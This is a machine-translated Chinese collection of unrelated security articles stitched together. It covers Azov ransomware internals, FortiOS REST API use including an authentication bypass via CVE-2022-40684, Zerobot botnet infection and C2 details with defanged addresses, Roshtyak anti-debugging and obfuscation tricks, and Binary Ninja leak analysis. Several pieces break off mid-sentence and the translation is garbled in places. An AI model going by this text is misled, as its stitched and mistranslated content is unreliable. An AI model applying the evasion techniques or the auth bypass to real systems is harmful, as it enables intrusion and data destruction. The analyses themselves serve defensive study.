勒索軟件和加密貨幣挖礦威脅也在其攻擊中使用了大量內核級組件，這很可能避免被安全產品檢測到，因為它們會是否惡意有效負載並從受害者設備上竊取資源。

總結根據我們對內核級威脅數據的分析，高級和成熟的惡意行為者仍然並將繼續尋求對Windows操作系統的高權限訪問，以確保他們的攻擊被成功部署。由於端點保護平台(EPP)和端點檢測和響應(EDR)技術的有效性，攻擊者將遵循阻力最小的路徑，並讓他們的惡意代碼從內核或更低的級別運行。這就是為什麼，儘管屬於這三個集群的一些內核級威脅顯著減少，但我們相信低級別的威脅在未來不會完全過時。

另外，請關注我們將於2023年1月發布的研究文章《深入了解Windows内核威胁》 中對Windows內核威脅的全面分析。

HireHackking

微信截图_20221214085509.png

Check Point Research（CPR）對臭名昭著的Azov勒索軟件進行了分析，分析表明，Azov能夠修改某些64位可執行文件以執行自己的代碼。在過去的幾周里，CPR在其社交媒體以及Bleeping Computer上分享了對Azov勒索軟件的初步調查結果。接下來，我們將介紹Azov勒索軟件的內部工作原理及其技術特點。

主要發現Azov最初是作為SmokeLoader殭屍網絡的有效負載而引起注意的，該殭屍網絡通常存在於假冒盜版軟件和破解網站中。

Azov與普通勒索軟件不同的是它對某些64位可執行文件的修改以執行自己的代碼。在現代互聯網出現之前，這種行為曾經是惡意軟件氾濫的必經之路。可執行文件的修改是使用多態代碼來完成的，這樣就不會被靜態簽名潛在地破壞，並且也適用於64位可執行文件。

這種對受害者可執行文件的攻擊性多態感染導致了大量感染Azov的公開可用文件。每天都有數百個與Azov相關的新樣本提交給VirusTotal，截至2022年11月，該樣本已超過17000個。使用手工製作的查詢，可以只搜索正確的Azov樣本，而不使用木馬化的二進製文件。

VirusTotal查詢以搜索與Azov相關的樣本：

1.png

1.2.png

VirusTotal查詢——Azov相關樣本

VirusTotal查詢僅搜索正確的Azov樣本，而不搜索木馬化二進製文件：

2.png

VirusTotal查詢——僅原始Azov樣本

豐富的樣本使我們能夠區分Azov的兩個不同版本，一個更老，一個稍新。這兩個版本共享它們的大部分功能，但較新版本使用了不同的勒索通知，以及銷毀文件的不同文件擴展名（.azov）。

3.png

新版本的Azov的贖金通知

4.png

舊版本的Azov的贖金通知

技術分析使用FASM在程序集中手動製作；

使用反分析和代碼混淆技術；

原始數據內容的多線程間歇性覆蓋（循環666字節）；

在受損系統中後門64位“.exe”文件的多態方式；

“邏輯炸彈”設定在特定時間引爆。下面分析的樣本被設置為在UTC時間2022年10月27日上午10:14:30引爆；

沒有網絡活動，沒有數據洩露；

利用SmokeLoader殭屍網絡和木馬程序進行傳播；

有效、快速且不幸無法恢復的數據清除器；

研究人員專注於新Azov版本的原始樣本（SHA256:650f0d694c0928d88aeeed649cf629fc8a7bec604563bca716b1688227e0cc7e-如上所述，與舊版本相比，功能上沒有重大差異）。這是一個64位的可移植可執行文件，已用FASM（平面彙編程序）組裝，只有1段.code (r+x)，並且沒有任何導入。

5.png

FASM編譯器的檢測

6.png

只有一個“.code”部分，沒有導入

code字段分為三個部分，通過查看其熵最容易看出。首先，有一個高熵部分包含加密的shell代碼。之後是實現解包程序的純代碼，然後是熵非常低的最後一部分，似乎由用於構造勒索信的純字符串組成。

7.png

“.code”部分的熵

打開程序由於Azov的整個代碼都是手工編寫的，因此有必要執行一些IDA魔術和清理工作，以將代碼塑造成可以反編譯和理解的狀態。完成此操作後，過程start_0()就可見了。這段代碼將shellcode解包到新分配的內存中，然後將執行傳遞給它。

8.png

輸入函數start_0

函數AllocAndDecryptShellcode()中的解包程序被故意創建得看起來比實際更複雜。但實際上，它是一個簡單的種子解密算法，使用xor和rol的組合，其中key=0x15C13。

9.png

AllocAndDecryptShellcode函數中的解包程序

我們在下面提供了簡化程序邏輯的Python實現：

10.png

下一階段分為兩個主要程序：一個負責清除文件，另一個負責為可執行文件設置後門。

11.png

將執行轉移到清除和後門邏輯

清除程序清除程序首先創建一個互斥鎖（Local\\\\azov），以驗證惡意軟件的兩個實例沒有同時運行。

12.png

清除程序——互斥鎖創建

如果成功獲得互斥鎖句柄，Azov會通過木馬(類似於後門程序)64位Windows系統二進製文件msiexec.exe或perfmon.exe並將其保存為rdpclient.exe來創建持久性。在SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run上創建一個註冊表項，指向新創建的文件。

13.png

持久性創建

清除程序使用觸發時間——有一個循環，被分析的樣本檢查系統時間，如果不等於或大於觸發時間，則休眠10秒，然後再次循環。樣本觸發時間為2022年10月27日。

14.png

樣本觸發時間為2022年10月27日

一旦這個邏輯炸彈被觸發，清除器邏輯就會遍歷所有設備目錄，並對每個目錄執行清除程序，從而避免某些硬編碼的系統路徑和文件擴展名。

15.png

系統路徑和文件擴展名

16.png

清除時省略的文件擴展名

每個文件都被“間歇性”清除，這意味著666字節的塊被隨機噪聲覆蓋，然後一個大小相同的塊保持完整，然後一塊再次被覆蓋，依此類推，直到達到4GB的硬限制，此時所有其他數據都保持完整。作為隨機源，樣本使用未初始化的局部變量（例如，char buffer[666]），這實際上意味著隨機堆棧內存內容。

17.png

間歇性數據清除

18.png

數據清除程序的示例跟踪

清除完成後，新的文件擴展名.azov將添加到原始文件名中。清除文件的典型文件結構如下所示。

19.png

清除文件的示例結構

後門程序在遍歷文件系統以搜索要進入後門的文件之前，創建一個名為Local\\\\Kasimir_%c的互斥鎖，其中%c替換為正在處理的驅動器的字母。

20.png

後門程序——互斥鎖創建

TryToBackdoorExeFile()函數負責解密滿足特定條件的64位“.exe”文件進行後門。

21.png

通過預處理條件的文件進入TryToBackdoorExeFile函數

這些具體條件可簡化如下：

預處理條件：它不是文件系統位置清除列表的一部分；

文件擴展名為“.exe”；

文件大小小於20MB；

處理條件：該文件是64位可執行文件；

包含入口點的PE部分有足夠的空間用於注入shellcode植入程序，以保留PE的原始入口點（shellcode起始地址將放在原始入口點的地址）；

File size==PE size（PE大小是手動計算的）；

處理條件都在TryToBackdoorExeFile()函數中檢查。

22.png

TryToBackdoorExeFile函數

一旦文件滿足所有預處理和處理條件，它就被認為適合適合進行後門操作，並將其推入BackdoorExeFile()函數。

23.png

函數TryToBackdoorExeFile的鄰近圖

函數BackdoorExeFile()負責可執行文件的多態後門。它首先獲取原始代碼段(通常是.text段)的地址，然後在幾個位置隨機修改其內容。在將shellcode的主要blob注入到修改的代碼部分之前，某些常量值將被更改，整個shellcode將使用與前面描述的惡意軟件解包期間使用的相同的加密算法和密鑰重新加密。後門文件寫回磁盤後，三個編碼的數據結構被追加到它的末尾，這是勒索軟件運行所需的有效資源(例如，一種模糊形式的勒索通知)。

24.png

函數BackdoorExeFile的鄰近圖

儘管存在多態後門，但解包和後門過程中使用的加密/解密算法是一致的，可用於Azov檢測。

25.png

使用與解包期間相同的算法和密鑰重新加密shellcode的主blob

反分析和代碼混淆技術防止使用軟件斷點——如果設置了軟件斷點，使用例程將已經解密並正在執行的部分shellcode複製到新分配的內存中，然後將執行轉移到它，遲早會導致異常。在這種情況下，有必要使用硬件斷點。

26.png

防止使用軟件斷點的反分析技術

不透明常量——用產生相同結果常量值的代碼例程替換常量。 (這可以在負責計算常量偏移量的例程中反复看到，而不是直接使用它們，以便直接調用可以被間接調用取代)

27.png

不透明常數

語法混亂——用語義上不地道或完全擴展的等效指令替換指令。這方面的一個例子可以在負責解析導出目錄的程序中找到；另一種是用直接或間接jmp重複替換調用。兩者如下圖所示。

28.png

語法擴展

29.png

在調用中使用間接跳轉和直接跳轉

下面可以看到解析導出目錄的程序集的簡化版本。

30.png

垃圾代碼——插入垃圾字節，導致沒有有意義的指令，甚至根本沒有指令。

不透明謂詞——jz/jnz乍一看似乎是一個條件跳轉，但實際上條件總是滿足或總是不滿足，並且有效地充當無條件跳轉，使靜態分析混淆。這兩種混淆都可以在函數FindGetProcAddress()中看到。

31.png

垃圾字節插入和不透明謂詞混淆

調用-返回濫用——使用push-ret或Call而不是jmp。

32.png

控制間接

Volatile Homebrew IAT ——一個動態分配的結構，包含API函數地址，被用作嵌套結構，作為參數推送給需要使用特定WIN API例程而不是使用普通導入的函數。

33.png

動態創建的IAT類結構用作嵌套結構

總結儘管Azov樣本在第一次被發現時被認為是一個普通的勒索軟件，但當進一步調查時，我們發現了非常先進的技術——手工製作的組裝，將有效載荷注入可執行文件以打開後門。

儘管還不知道其幕後組織，但唯一可以肯定的是，所有這些分析都證實了Azov是一種先進的惡意軟件。

HireHackking

0x00 前言本文將要介紹FortiOS REST API的相關用法，分享開發的實現細節。

0x01簡介本文將要介紹以下內容：

強化環境聽力

FortiOS REST API 方式登錄

常用操作

常用功能

0x02 Fortigate環境這里以Fortigate作為FortiOS REST API的測試環境，安裝FortiGate for VMware

參考資料：https://getlabsdone.com/how-to-install-fortigate-on-vmware-workstation/

1.下載FortiGate for VMware安裝包下載地址：https://support.fortinet.com/

選擇Support-VMImages，選擇產品：FortiGate，選擇平台：VMWare ESXi

注：

7.2之前的版本可以使用15天，7.2之後的版本需要賬號註冊

2.導入ova文件打開FortiGate-VM64.ova導入VMWare

3.配置網卡3個網卡，我們只需要保留3個，刪掉後面的107個，默認3個網卡的具體配置如下：

(1)管理網卡

點擊VMware workstation-Edit-Virtual Network Editor點擊Change settings，點擊Add Network.選擇VMnet2，選擇，Type選擇Host-only，DHCP選擇Enabled

如下圖

1.png

商業網卡設置成VMnet2

(2)WAN網卡

設置成bridged

(3)局域網網卡

選擇network adapter 3，點擊LAN Segments.點擊Add，命名為Fortigate LAN

網卡設置成LAN segment，選擇Fortigate LAN

最終配置成圖

2.png4.開啟虛擬機用戶名：admin職位，為默認空

查看激活狀態的命令：get system status

查看ip的命令：diagnose ip address list

得到管理網卡的ip為192.168.23.128

5.訪問網頁管理頁面地址為：http://192.168.23.128

0x03 FortiOS REST API 登錄方式參考資料：https://www.used.net.ua/index.php/fajlovyj-arkhiv/category/35-fortinet.html?download=83:fortios-5-6-11-rest-api-reference

FortiOS REST API支持以下類型登錄：

1.使用admin用戶登錄需要管理員用戶admin的明文，不需要額外的配置

通過訪問訪問https://

需要注意的是，使用管理員用戶登錄結束後需要進行訪問https://

Python示例代碼如下：

3.png 4.png

代碼實現以下三個功能：

管理員用戶信息，查詢成功

REST API用戶信息，查詢成功

查詢配置文件信息，查詢成功

2.使用API密鑰參考資料：https://docs.fortinet.com/document/forticonverter/6.0.2/online-help/866905/connect-fortigate-device-via-api-token

需要額外創建配置文件和用戶，生成API密鑰

(1)創建配置文件

登錄網頁管理頁面，選擇System-Admin Profiles-Create New

Name設置為api_admin

將所有權限均設置為Read/Write

(2)創建用戶

選擇System-Administrators-Create New-REST API Admin

Username設置為api_user

Administrator profile設置為api_admin

自動生成API 密鑰，測試環境得到的結果為r3h53QbtrmNtdk0HH5qwnw8mkcmnt7

API key有以下使用方式：

作為URL 的參數使用，示例：access_token=r3h53QbtrmNtdk0HH5qwnw8mkcmnt7

標題中，示例：'Authorization': 'Bearer r3h53QbtrmNtdk0HH5qwnw8mkcmnt7'

Python示例代碼如下：

5.png

代碼實現以下三個功能：

管理員用戶信息，查詢失敗

REST API用戶信息，查詢成功

查詢配置文件信息，查詢成功

補充：通過漏洞(CVE-2022-40684)可屏蔽身份認證Python示例代碼如下：

6.png 7.png

代碼實現以下三個功能：

管理員用戶信息，查詢成功

REST API用戶信息，查詢成功

查詢配置文件信息，查詢成功

0x04 常用操作1. 調試輸出為了方便調試，可以在cli執行以下命令：

8.png

一分鐘在cli輸出調試信息3

如下圖

9.png

2.文件打包可提取使用掛載vmdk的方式加載文件，逆向分析REST API的實現

破解方法： https://www.horizontal-fortiswitchmanager-460-dive-cve-2022-484 /

3.增刪改查操作讀取內容使用GET方法

新建內容使用POST方法

修改內容使用PUT方法

刪除內容使用DELETE方法

0x05 常用功能1.創建本地用戶需要訪問/api/v2/cmdb/user/local，發送json數據

Python示例代碼如下：

10.png

2.添加防火牆需要訪問/api/v2/cmdb/firewall/policy，發送json數據

Python示例代碼如下：

11.png 12.png

3.導出所有配置通過訪問/api/v2/cmdb/system/admin導出用戶信息時，密碼項被加密，格式為'password':'ENC XXXX'

這裡可通過備份功能導出所有配置，獲得加密的用戶身份，訪問位置為/api/v2/monitor/system/config/backup?destination=filescope=global

Python示例代碼如下：

13.png

4.抓包需要完成以下操作：

新建抓包過濾器

開啟抓包過濾器

停止數據包捕獲過濾器

下載數據包

刪除數據包捕獲過濾器

Python示例代碼如下：

14.png 15.png

16.png

0x06 小結本文以Fortigate REST 的配置和介紹，介紹了FortiOS 的相關用法，為創建本地用戶、添加防火牆規則、導出所有的實現代碼。

HireHackking

11月，FortiGuard實驗室觀察到一個用Go語言編寫的獨特殭屍網絡通過物聯網漏洞進行了傳播。這個殭屍網絡被稱為Zerobot，包含幾個模塊，包括自我複制、針對不同協議的攻擊和自我傳播。它還使用WebSocket協議與其命令和控制服務器通信。根據一些IPS簽名觸發計數，該活動在11月中旬之後的某個時候開始了當前版本的傳播。

受影響的平台：Linux；

受影響組織：任何組織；

影響：遠程攻擊者可以控制易受攻擊的系統；

嚴重級別：嚴重。

本文詳細介紹了該惡意軟件如何利用漏洞，並在進入受感染的設備後檢查其行為。

1.png

IPS簽名活動

2.png

IPS簽名活動

感染Zerobot利用多個漏洞來訪問設備，然後下載腳本以進一步傳播。完整的腳本如下圖所示。請注意，下載URL已從http[：]//zero[.]sudolite[.]ml/bins更改為http[：]]//176[.]65.137[.]5/bins。此Zerobot變體針對以下架構：i386、amd64、arm、arm64、mips、mips64、mips64le、mipsle、ppc64、ppc64le、riscv64和s390x。它使用文件名“zero”保存，這是活動名稱的來源。

3.png

2022年11月24日之前使用的下載腳本

4.png

當前下載腳本

Zerobot有兩個版本。 11月24日之前使用的第一個僅包含基本功能。當前版本增加了一個“selfRepo”模塊來複製自身，並感染更多具有不同協議或漏洞的端點。舊版本的功能列表如下圖所示。然而，以下技術分析是基於新版本的。

5.png

11月24日之前Zerobot版本的主要功能

技術分析——初始化Zerobot首先檢查其與Cloudflare的DNS解析器服務器1.1.1.1的連接。

6.png

檢查1.1.1.1:80的網絡連接

然後，它根據受害者的操作系統類型將自己複製到目標設備上。對於Windows，它將自己複製到文件名為“FireWall.exe”的“Startup”文件夾中。 Linux有三個文件路徑：“%HOME%”、“/etc/init/”和“/lib/systemd/system/”。

7.png

複製本身的代碼流

然後，它設置了一個“AntiKill”模塊，以防止用戶中斷Zerobot程序。該模塊監視特定的十六進制值，並使用“signal.Notify”攔截任何發送來終止或終止進程的信號。

8.png

AntiKill的部分代碼

技術分析——命令初始化後，Zerobot使用WebSocket協議啟動到其C2服務器ws[：]//176[.]65[.]137[.]5/handle的連接。

9.png

連接到C2服務器

從受害者發送的數據如下圖所示。基於WebSocket協議，我們可以對其進行屏蔽，以獲取帶有受害者信息的JSON：

{'Platform':'linux','GCC':'386','CPU':1,'Payload':'Direct','Version':1}

10.png

C2連接的流量捕獲

通信通道設置後，客戶端等待來自服務器的命令，包括“ping”、“attack”、“stop”、“update”、“kill”、“disable_scan”、“enable_scan”和“command”。有關“enable_scan”中漏洞的詳細信息，接下來會講到。

11.1.png

11.2.png

在zero.mips中接收命令

12.png

zero.386中接收到的命令

技術分析——開發Zerobot包括21個漏洞，具體如圖12所示，下圖中受影響的產品如下所示。除了一些物聯網漏洞外，還包括Spring4Shell、phpAdmin、F5 Big等，以提高其攻擊成功率。

13.png

Zerobot中的漏洞列表

14.png

Zerobot針對的易受攻擊設備列表

上圖頂部名為“ZERO_

HireHackking

異常檢查此外，Roshtyak包含設置自定義向量異常處理程序的檢查，並有意觸發各種異常，以確保它們都按預期得到處理。

Roshtyak使用RtlAddVectoredExceptionHandler設置了一個向量異常處理程序。此處理程序包含針對所選異常代碼的自定義處理程序。頂級異常處理程序也使用SetUnhandledExceptionFilter註冊。不應該在目標執行環境中調用此處理程序(任何有意觸發的異常都不應該通過向量異常處理程序)。因此，這個頂級處理程序只包含一個對TerminateProcess的調用。有趣的是，Roshtyak還使用ZwSetInformationProcess使用ProcessDefaultHardErrorMode類來設置SEM_FAILCRITICALERRORS。這確保了即使異常以某種方式被傳遞到默認異常處理程序，Windows也不會顯示標準漏洞消息框，這可能會提醒受害者發生了可疑的事情。

當一切都設置好之後，Roshtyak開始生成異常。第一個異常是由一條popf指令生成的，後面直接跟著一條cpuid指令(如下所示)。 popf指令彈出的值被精心設計為設置漏洞標誌，而該標誌又會引發一個單步異常。在物理設備上，異常會在cpuid指令之後立即觸發。然後，自定義向量異常處理程序將接管並將指令指針從標記為無效指令的C7 B2 操作碼中移走。但是，在許多管理程序下，不會引發單步異常。這是因為cpuid 指令強制VM 退出，這可能會延遲跟踪標誌的效果。如果是這種情況，處理器將在嘗試執行無效操作碼時引發非法指令異常。如果向量異常處理程序遇到這樣的異常，它就知道它是在管理程序下運行的。 Palo Alto Networks 的一篇文章描述了這種技巧的一種變體。

9.png

基於異常的檢查使用popf 和cpuid 來檢測管理程序

另一個異常是使用雙字節int 3指令(CD 03)生成的。這條指令後面是垃圾操作碼。這裡的int 3 引發一個斷點異常，該異常由向量異常處理程序處理。向量異常處理程序實際上並沒有做任何處理異常的事情，這很有趣。這是因為默認情況下，Windows 在處理兩個字節的int 3 指令時，會將指令指針留在兩個指令字節之間，指向03 字節。當從這個03 字節反彙編時，垃圾操作碼突然開始變得有意義。我們認為這是對一些急於求成的調試器的檢查，這些調試器可能會將指令指針“修復”到03字節之後的指針。

此外，向量異常處理程序檢查線程的CONTEXT 並確保寄存器Dr0 到Dr3 為空。如果不是，則使用硬件斷點調試進程。雖然這種檢查在惡意軟件中比較常見，但CONTEXT 通常是通過調用GetThreadContext 之類的函數來獲取的。此時，惡意軟件開發者利用CONTEXT 作為參數傳遞給異常處理程序，因此他們不需要調用任何額外的API 函數。

大型可執行映射下一次檢查很有趣，主要是因為我們不確定它真正應該檢查什麼。首先，Roshtyak創建一個大小為0x386F000的大型PAGE_EXECUTE_READWRITE映射。然後它將這個映射映射到自己的地址空間9次。在這之後，它將映射設置為0x42 (inc edx的操作碼)，除了最後六個字節，它們被四個inc ecx指令和jmp dword ptr [ecx]填充。接下來，它將映射視圖的9個基址放入一個數組中，後面是單個ret指令的地址。最後，它將ecx指向這個數組並調用第一個映射視圖，這將導致依次調用所有映射視圖，直到最後的ret指令。返回後，Roshtyak 驗證edx 恰好增加了0x1FBE6FCA 倍(9 * (0x386F000 - 6))。

10.png

大映射段的結尾，jmp dword ptr [ecx] 指令應該跳轉到下一個映射視圖的開頭

我們最好的猜測是，這是另一個反模擬器檢查。例如，在某些模擬器中，映射段可能沒有完全實現，因此寫入映射視圖的一個實例的指令可能不會傳播到其他八個實例。另一種理論是，這種檢查可以用於請求模擬器可能無法提供的大量內存。畢竟，所有視圖的總和幾乎是標準32位用戶模式地址空間的一半。

中止檢測過程這個技巧濫用NtCreateThreadEx 中未記錄的線程創建標誌來檢測Roshtyak 的主進程何時被外部掛起（這可能意味著附加了調試器）。這個標誌實際上允許線程即使在PsSuspendProcess被調用時也能繼續運行。這與另一個濫用線程掛起計數器是帶符號的8位值這一事實的技巧相結合，這意味著它的最大值為127。 Roshtyak生成兩個線程，其中一個線程持續掛起另一個線程，直到達到掛起計數器的限制。在此之後，第一個線程會定期掛起另一個線程，並檢查對NtSuspendThread 的調用是否繼續失敗並顯示STATUS_SUSPEND_COUNT_EXCEEDED。如果沒有，則該線程必須被外部掛起並恢復，這將使掛起計數器保持在126，因此對NtSuspendThread 的下一次調用將成功。如果沒有得到這個漏洞代碼，那麼Roshtyak就會停止使用TerminateProcess。 Secret Club在一篇博文中詳細描述了這一技巧。我們相信這就是Roshtyak的作者得到這個技巧的原因。值得一提的是，Roshtyak只在Windows版本18323 (19H1)及以後的版本中使用了這種技術，因為在之前的版本中沒有實現無文檔記錄的線程創建標誌。

間接註冊表寫入Roshtyak 執行許多可疑的註冊表操作，例如，設置RunOnce 項以實現持久性。由於可能會監控對此類密鑰的修改，因此Roshtyak 試圖繞過監控。它首先生成一個隨機註冊表項名稱，並使用ZwRenameKey 將RunOnce 項臨時重命名為隨機名稱。重命名後，Roshtyak 會在臨時密鑰中添加一個新的持久性條目，然後最終將其重命名為RunOnce。這種寫入註冊表的方法很容易被檢測到，但它可能會繞過一些簡單的基於掛鉤的監控方法。

同樣，Roshtyak 使用多種方法來釋放文件。除了對NtDeleteFile 的明顯調用之外，Roshtyak 還可以通過在對ZwSetInformationFile 的調用中設置FileDispositionInformation 或FileRenameInformation 來有效地釋放文件。然而，與註冊表修改方法不同的是，這似乎不是為了逃避檢測而實現的。相反，如果對NtDelete文件的初始調用失敗，Roshtyak將嘗試這些替代方法。

檢查VBAWarnings

VBAWarnings 註冊表值控制用戶打開包含嵌入VBA 宏的文檔時Microsoft Office 的行為方式。如果此值為1，則意味著“啟用所有宏”，則默認執行宏，甚至不需要任何用戶交互。這是沙盒的常見設置，旨在自動觸發惡意文檔。另一方面，此設置對於普通用戶來說並不常見，他們通常不會隨意更改設置，使自己更容易受到攻擊（至少他們中的大多數人不會）。因此，Roshtyak 使用此檢查來區分沙箱和普通用戶，如果VBAWarnings 的值為1，則拒絕進一步運行。有趣的是，這意味著無論出於何種原因以這種方式降低安全性的用戶都不會受Roshtyak 的影響。

命令行清除Roshtyak 的核心是用非常可疑的命令行執行的，例如RUNDLL32.EXE SHELL32.DLL,ShellExec_RunDLL REGSVR32.EXE -U /s 'C:\Users\\AppData\Local\Temp\dpcw.etl.'。這些命令行看起來不是特別合法，因此Roshtyak 試圖在執行期間隱藏它們。它通過清除從各種來源收集的命令行信息來做到這一點。它首先調用GetCommandLineA 和GetCommandLineW 並清除兩個返回的字符串。然後它會嘗試清除PEB-ProcessParameters-CommandLine 指向的字符串（即使它指向一個已經被清除的字符串）。由於Roshtyak 經常在WoW64 下運行，它還調用NtWow64QueryInformationProcess64 來獲取指向PEB64 的指針，以清除通過遍歷這個“第二個”PEB 獲得的ProcessParameters-CommandLine。雖然清除命令行可能是為了讓Roshtyak 看起來更合法，但完全清除任何命令行也是極不尋常的。 Red Canary 研究人員在他們的博客文章中註意到了這一點，他們提出了一種基於這些可疑的空命令行的檢測方法。

11.png

Roshtyak 的核心流程，如Process Explorer 所示，注意可疑的空命令行。

附加技巧除了到目前為止描述的技巧之外，Roshtyak 還使用了許多其他惡意軟件中常見的不太複雜的技巧。這些包括：

使用ThreadHideFromDebugger 隱藏線程，並使用NtQueryInformationThread 驗證線程是否真的被隱藏了；

在ntdll 中修補DbgBreakPoint；

使用GetLastInputInfo 檢測用戶活動情況；

檢查來自PEB 的字段（BeingDebugged、NtGlobalFlag）；

檢查來自KUSER_SHARED_DATA 的字段（KdDebuggerEnabled、ActiveProcessorCount、NumberOfPhysicalPages）；

檢查所有正在運行的進程的名稱（一些通過哈希比較，一些通過模式比較，一些通過字符分佈比較）；

哈希所有加載模塊的名稱，並根據硬編碼的黑名單檢查它們；

驗證主進程名不需要太長時間，而且與沙盒中使用的已知名稱不匹配；

使用cpuid指令檢查hypervisor信息和處理器標誌；

使用沒有紀錄的COM 接口；

根據硬編碼的黑名單檢查用戶名和計算機名；

正在檢查是否存在已知的沙盒誘餌文件；

根據硬編碼的黑名單檢查自己的適配器的MAC 地址；

檢查ARP 表中的MAC 地址（使用GetBestRoute 填充它並使用GetIpNetTable 來檢查它）；

使用ProcessDebugObjectHandle、ProcessDebugFlags 和ProcessDebugPort 調用ZwQueryInformationProcess；

檢查顯示設備的DeviceId（使用EnumDisplayDevices）；

檢查\\.\PhysicalDrive0 的ProductId（使用IOCTL_STORAGE_QUERY_PROPERTY）；

檢查虛擬硬盤（使用NtQuerySystemInformation 和SystemVhdBootInformation）；

檢查原始SMBIOS 固件表（使用NtQuerySystemInformation 和SystemFirmwareTableInformation）；

設置Defender 排除項（針對路徑和進程）；

刪除與惡意軟件使用的進程名相關的IFEO註冊表項；

混淆我們展示了許多旨在防止Roshtyak 在不良執行環境中觸發的反分析技巧。就單個技巧來說，都很容易被修復或識別。分析Roshtyak 之所以困難的原因，是所有這些技巧被組合起來了，同時被重度混淆和多層包裝。這使得靜態研究反分析技巧並弄清楚如何通過所有檢查以使Roshtyak 自行解包變得非常困難。此外，即使是主要的有效載荷也收到了相同的混淆，這意味著靜態分析Roshtyak 的核心功能也需要大量的去混淆。

接下來，我們將介紹Roshtyak使用的主要混淆技術。

13.1.png

來自Roshtyak的隨機代碼片段，可以看到，這種混淆使得Hex-Rays反編譯器的原始輸出實際上難以理解

controlflowflatterning(控制流平坦化)控制流扁平化是Roshtyak 採用的最引人注目的混淆技巧之一。它以一種不同尋常的方式實現，使Roshtyak 函數的控制流圖具有獨特的外觀（見下文）。控制流扁平化的目標是混淆各個代碼塊之間的控制流關係。

控制流由一個32 位控制變量引導，該變量跟踪執行狀態，識別要執行的代碼塊。這個控制變量在每個函數開始時被初始化以引用起始代碼塊（通常是一個nop 塊）。然後在每個代碼塊的末尾修改控制變量，以識別應該執行的下一個代碼塊。修改是使用一些算術指令執行的，例如add、sub 或xor。

有一個調度程序使用控制變量將執行路由到正確的代碼塊中。這個調度程序由if/else塊組成，這些塊被循環鏈接到一個循環中。每個調度程序塊接受控制變量，並使用算術指令屏蔽它，以檢查是否應該將執行路由到它所保護的代碼塊中。有趣的是，從代碼塊到調度程序循環有多個入口點，使控制流圖在IDA 中呈現鋸齒狀外觀。

使用包含imul 指令的特殊代碼塊執行分支。它依賴於前一個塊來計算分支標誌。使用imul 指令將該分支標誌與一個隨機常數相乘，並將結果與新的控制變量相加、替換或異或。這意味著在分支塊之後，控制變量將識別兩個可能的後續代碼塊中的一個，這取決於為分支標誌計算的值。

14.1.png

用控制流扁平化混淆的函數的控制流圖

函數激活項Roshtyak 的混淆函數需要一個額外的參數，我們稱之為激活密鑰。此激活密鑰用於解密所有局部常量、字符串、變量等。如果使用漏洞的激活密鑰調用函數，則解密會產生垃圾明文，這很可能導致Roshtyak陷入控制流分配器內部的無限循環中。這是因為調度程序使用的所有常量（控制變量的初始值、調度程序守衛使用的掩碼以及用於跳轉到下一個代碼塊的常量）都使用激活密鑰加密。如果沒有正確的激活密鑰，調度程序根本不知道如何調度。

如果不知道正確的激活密鑰，對函數進行逆向工程實際上是不可能的。所有字符串、緩衝區和局部變量/常量都保持加密狀態，所有交叉引用都丟失了，更糟糕的是，沒有控制流信息。只剩下單獨的代碼塊，沒有辦法知道它們之間是如何關聯的。

每個混淆函數都必須從某個地方調用，這意味著調用該函數的代碼必須提供正確的激活密鑰。但是，獲取激活密鑰並不是那麼容易。首先，調用目標也使用激活密鑰加密，因此如果不知道正確的激活密鑰，就不可能找到調用函數的位置。其次，即使提供的激活密鑰也被調用函數的激活密鑰加密。並且該激活密鑰被下一個調用函數的激活密鑰加密。以此類推，一直到入口點函數。

這給去混淆帶來了很多麻煩。入口點函數的激活密鑰必須以明文形式存在。使用這個激活密鑰，可以解密直接從這個入口點函數調用的函數的調用目標和激活密鑰。遞歸地應用此方法使我們能夠重構完整的調用圖以及所有函數的激活項。唯一的例外是從未調用過且由編譯器保留的函數。這些函數可能仍然是個謎，但由於示例沒有使用它們，因此從惡意軟件分析師的角度來看，它們並不那麼重要。

HireHackking

跟踪動態內存分配中的內存存儲到目前為止，我們的所有分析都集中在堆棧內存作為信息披露的源緩衝區。這在很大程度上是由於堆棧內存洩漏錯誤的盛行，如KLEAK：實用內核內存洩漏檢測（PDF）中所述。其他內存區域（如堆）呢？我們可以對一些堆內存洩漏建模嗎？

在查找堆內存洩漏時，思路也是一樣的。我們仍在尋找調用具有已知大小值的sink函數。但源指針不是RegisterValueType.StackFrameOffset，我們檢查RegisterValueType.UndeterminedValue。考慮sys_statfs()的代碼：

9.png

sys_statfs()中的動態內存分配

此時copyout()中的內核指針rdi_1#2還是不確定，因為Binary Ninja並不知道分配器函數返回什麼。然而，通過使用SSA表單，我們可以手動跟踪rdi_1#2是否保存malloc()的返回值。例如，按上圖中突出顯示的說明進行操作。變量被分配為rax_1#1-r15#1-rdi_1#2。可以使用MLIL get_ssa_var_definition()API通過編程方式獲取此信息。一旦獲得SSA變量的定義位置，我們就可以使用CALL操作檢查變量是否被初始化。

那分析器如何知道分配器函數的定義？我們可以採用與提供靜態函數掛鉤信息相同的方法（請參閱上面的“靜態函數掛鉤和內存編寫API”一節）。向分析器提供一個帶有分配器函數列表和大小參數索引的JSON配置。對於任何具有已知目標(即MLIL_CONST_PTR)的CALL指令，獲取該符號以檢查已知的分配器函數。下面是一個用於分析的JSON配置示例：

一旦我們建立了源指針和分配器調用之間的連接，下一個問題是，將分配什麼指針值作為分配器調用的返回值？在Binary Ninja中跟踪為負偏移量的堆棧指針是這樣的：為了在堆棧指針和堆指針之間具有一個通用表示，我決定將堆分配器調用的返回值設置為分配大小的負值。對於sys_statfs()中的malloc()調用，rax_1#1設置為0x1d8作為起始地址。因此，需要初始化的內存區域的範圍從0x1d8到0不等。即使分配大小不確定，起始地址也可以設置為某些任意值，例如0x10000。最重要的是要知道copyout()訪問的連續內存區域是否已初始化。

使用dominator和後dominator過濾內存存儲下圖中的dominator提供了一些基本塊的執行順序信息。雖然我們已經在“處理指針對齊優化”一節中使用了dominator來處理指針對齊的優化，但本節將詳細介紹dominator在檢測支配流敏感（flow-sensitive）內存存儲操作中的使用。

為了分析未初始化的內存洩露，我們使用了兩種思路：dominator和後dominator。如果到Y的所有路徑都應經過X，則稱基本塊X支配另一個基本塊Y。如果從X到函數的任何返回塊的所有路徑均應經過Y，則稱基礎塊Y支配基本塊X。

10.png

dominator和後dominator的圖表

在所提供的圖中，節點B支配節點C、D、E和F，因為到這些節點的所有路徑都必須經過節點B。根據定義，每個節點都會進行自我支配，因此由節點B支配的所有節點集將是B、C、D，E和F。此外，節點A支配圖中的所有節點。因此，節點C、D、E、F的dominator是A和B。

